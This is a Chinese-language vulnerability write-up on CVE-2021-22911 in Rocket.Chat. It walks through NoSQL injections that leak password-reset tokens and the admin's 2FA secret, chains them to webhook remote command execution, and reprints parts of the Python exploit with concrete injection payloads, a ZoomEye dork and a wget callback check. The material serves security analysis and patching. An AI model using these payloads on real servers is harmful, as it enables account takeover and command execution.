【安全漏洞】Rocket.Chat 远程命令执行漏洞分析
簡述
Rocket.Chat 是一個開源的完全可定制的通信平臺,由 Javascript 開發,適用于具有高標準數據保護的組織。
2021年3月19日,該漏洞在 HackerOne 被提出,于2021年4月14日被官方修復。該漏洞主要是因為 Mongodb 的查詢語句是類 JSON 形式的,如{"_id":“1”}。由于對用戶的輸入沒有進行嚴格的檢查,攻擊者可以通過將查詢語句從原來的字符串變為惡意的對象,例如{"_id":{"$ne":1}}即可查詢 _id 值不等于 1 的數據。
影響版本
3.12.1<= Rocket.Chat <=3.13.2
漏洞影響面
通過ZoomEye網絡空間搜索引擎,搜索ZoomEye dork數據挖掘語法查看漏洞公網資產影響面。
zoomeye dork 關鍵詞:app:“Rocket.Chat”
輸入CVE編號:CVE-2021-22911也可以關聯出ZoomEye dork
漏洞影響面全球視角可視化
復現
復現環境為 Rocket.Chat 3.12.1。
使用 pocsuite3 編寫 PoC,利用 verify 模式驗證。
漏洞分析
該漏洞包含了兩處不同的注入,漏洞細節可以在這篇文章中找到,同時還可以找到文章作者給出的 exp。第一處在server/methods/getPasswordPolicy.js,通過 NoSQL 注入來泄露重置密碼的 token。
getPasswordPolicy(params) {const user = Users.findOne({ 'services.password.reset.token': params.token });if (!user && !Meteor.userId()) {throw new Meteor.Error('error-invalid-user', 'Invalid user', {method: 'getPasswordPolicy',});}return passwordPolicy.getPasswordPolicy();}這里的 params 是用戶傳入的參數,正常來說,params.token 是一串隨機字符串,但在這里可以傳一個包含正則表達式的查詢語句 {’$regex’:’^A’},例如下面這個例子意為查找一處 token 是以大寫字母 A 為開頭的數據。通過這個漏洞就可以逐字符的爆破修改密碼所需的 token。
Users.findOne({ 'services.password.reset.token': {'$regex': '^A'} })第二處漏洞在 app/api/server/v1/users.js,需要登陸后的用戶才能訪問,通過這處注入攻擊者可以獲得包括 admin 在內的所有用戶的信息。注入點代碼如下:
API.v1.addRoute('users.list', { authRequired: true }, {get() {// ...const { sort, fields, query } = this.parseJsonQuery();const users = Users.find(query, {/*...*/}).fetch();return API.v1.success({users,// ...});}, });這處注入需要了解的知識點是,mongo 中的 $where 語句,根據文檔,查詢語句以這種形式展現 { $where: <string|JavaScript Code> },因此攻擊者可以注入 JavaScript 代碼,通過將搜索的結果以報錯的形式輸出。光說可能難以理解,通過一個例子就能很好地說明了。
攻擊者可以傳入這樣的 query:{"$where":“this.username===‘admin’ && (()=>{ throw this.secret })()”},就會構成下面這樣的查詢語句,意為查詢 username 為 admin 的用戶并將他的信息通過報錯輸出。
Users.find({"$where":"this.username==='admin' && (()=>{ throw JSON.stringify(this) })()"}, {/*...*/} ).fetch();通過這個漏洞,就可以獲得 admin 的修改密碼的 token 和 2FA 的密鑰,即可修改 admin 的密碼,達到了提權的目的。Rocket.Chat 還為管理員賬戶提供了創建 web hooks 的功能,這個功能用到了 Node.js 的 vm 模塊,而 vm 模塊可以通過簡單的原型鏈操作被逃逸,達到任意命令執行的效果。至此,我們了解到了這一個命令執行漏洞的所有細節,接下來就通過分析漏洞發現者提供的 exp 來講一下漏洞利用的過程。
漏洞利用
這部分內容基于漏洞發現者給出的 exp,并結合我在復現過程中遇到的問題提出改進意見。
# Getting Low Priv user print(f"[+] Resetting {lowprivmail} password") ## Sending Reset Mail forgotpassword(lowprivmail,target)## Getting reset token through blind nosql injection token = resettoken(target)## Changing Password changingpassword(target,token)首先通過 getPasswordPolicy() 處的 token 泄露漏洞,修改普通用戶的密碼。然而需要注意的是,修改密碼的 token 長度為 43 個字符,這個爆破的工作量是很大的,且耗時非常長。因此在獲取普通用戶權限這一步,可以直接通過注冊功能完成,而不需要爆破驗證的 token。試想若是攻擊目標關閉了注冊功能,那意味著我們無法獲取到已注冊用戶的信息,也就無計可施了。
# Privilege Escalation to admin ## Getting secret for 2fa secret = twofactor(target,lowprivmail)第二步是獲取管理員賬號的 2FA 密鑰,其中的 twofactor() 利用了第二處漏洞。
def twofactor(url,email):# Authenticating# ...print(f"[+] Succesfully authenticated as {email}")# Getting 2fa codecookies = {'rc_uid': userid,'rc_token': token}headers={'X-User-Id': userid,'X-Auth-Token': token}payload = '/api/v1/users.list?query={"$where"%3a"this.username%3d%3d%3d\'admin\'+%26%26+(()%3d>{+throw+this.services.totp.secret+})()"}'r = requests.get(url+payload,cookies=cookies,headers=headers)code = r.text[46:98]在這個函數中直接默認了管理員賬號的 username 為 “admin”,但是經過測試,并不是所有可攻擊的目標都以 “admin” 作為 username,那么就需要一種方法來獲取管理員賬號的 username。觀察 mongodb 中存儲的用戶數據:
{"_id" : "x", ..."services" : { "password" : { ...}, ...,"emails" : [ { "address" : "x@x.com", "verified" : true} ], "roles" : [ "admin" ], "name" : "username",... }每一個用戶字段中都有一條{“roles”:[""]},通過{"$where":“this.roles.indexOf(‘admin’)>=0”}來查詢管理員賬號的信息,隨后便可獲取管理員的 username。
第三步是修改管理員賬號的密碼,以獲得 admin 的權限。
## Sending Reset mail print(f"[+] Resetting {adminmail} password") forgotpassword(adminmail,target)## Getting admin reset token through nosql injection authenticated token = admin_token(target,lowprivmail)## Resetting Password code = oathtool.generate_otp(secret) changingadminpassword(target,token,code)其中 forgotpassword() 這一步不可缺少,因為每次通過 reset token 來修改密碼以后,后臺會自動刪除該 token。在本地測試的時候,因為沒有 forgotpassword() 這一步,所以每次執行過 changingadminpassword() 以后,都會因為缺少 reset token 導致下一次 PoC 執行失敗。通過斷點調試找到了問題所在。
在.meteor/local/build/programs/server/packages/accounts-password.js line 1016
resetPassword: function () {// ...try {// Update the user record by:// - Changing the password to the new one// - Forgetting about the reset token that was just used// - Verifying their email, since they got the password reset via email.const affectedRecords = Meteor.users.update({'services.password.reset.token': token}, {$unset: {'services.password.reset': 1,}});} }每一次執行 resetPassword() 以后,都會清空 token。同樣在這個文件中,可以找到用于生成 reset.token 的函數 generateResetToken()。在此文件中共有三次出現,其中一次是函數定義,兩次是調用,分別于第 898 行和第 938 行被 sendResetPasswordEmail() 和 sendEnrollmentEmail() 調用。
Accounts.sendResetPasswordEmail = (userId, email, extraTokenData) => {const {/*...*/} = Accounts.generateResetToken(userId, email, 'resetPassword', extraTokenData);sendResetPasswordEmail() 在申請重置密碼的時候被調用,sendEnrollmentEmail() 在用戶剛注冊的時候被調用。因此,想要獲得 reset.token 的值,就要先發起一個重置密碼的請求,讓后臺發送一封重置密碼的郵件。
最后一步就是執行任意命令了。
## Authenticating and triggering rcewhile True:cmd = input("CMD:> ")code = oathtool.generate_otp(secret)rce(target,code,cmd)由于命令執行沒有回顯,因此我的做法是在本地監聽一個端口起一個 HTTP 服務器,然后執行 wget HTTP服務器地址/randomstr,如果HTTP服務器收到了路由為/{random_str},如果 HTTP 服務器收到了路由為 /randoms?tr,如果HTTP服務器收到了路由為/{random_str}的請求,則證明該服務存在漏洞。
后記
這次復現經過了挺長的時間,主要是由于這個漏洞利用的條件比較苛刻,需要滿足各種限制條件,比如需要開放注冊功能、管理員賬號開啟了 2FA、被攻擊目標的版本滿足要求。不過通過耐心的分析,把復現過程中遇到的問題一一解決,我還是很高興的。
防護方案
1、更新 Rocket.Chat 至官方發布的最新版。
關注我,將持續更新!!!
總結
以上是生活随笔為你收集整理的【安全漏洞】Rocket.Chat 远程命令执行漏洞分析的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: NetGear 夜鹰 RAX40V2 设
- 下一篇: PlugX变体已经悄悄更改源代码且正式更